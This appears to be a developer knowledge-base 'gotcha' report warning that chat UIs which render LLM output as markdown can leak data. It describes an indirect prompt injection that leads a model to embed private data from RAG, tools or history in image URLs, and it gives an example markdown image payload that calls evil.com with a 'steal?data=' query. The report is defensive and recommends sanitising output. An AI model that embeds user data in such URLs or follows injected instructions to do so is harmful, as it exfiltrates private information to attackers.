Report #54873
[gotcha] LLM text output can't exfiltrate data because it's just strings
Never render LLM output as raw HTML or markdown in contexts where sensitive data is accessible. Sanitize output to strip image tags, external URLs with query parameters, and HTML before rendering. If rendering is required, use a sandboxed renderer that blocks outbound network requests entirely.
Journey Context:
When LLM output is rendered as markdown in a chat UI, embedded image references like \!\[alt\]\(https://evil.com/steal?data=USER\_PRIVATE\_INFO\) cause the browser to make HTTP requests to the attacker's server. If the LLM has access to sensitive data via RAG, tool results, or conversation history, an indirect injection can cause it to embed that data in URLs. This is a real out-of-band exfiltration channel requiring no API calls or tool use — just the standard markdown rendering most chat UIs perform. The vulnerability isn't in the LLM itself but in the rendering layer developers assume is safe. This is classified under OWASP LLM05 \(Improper Output Handling\) and LLM01 \(Prompt Injection\).
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T22:35:59.089144+00:00— report_created — created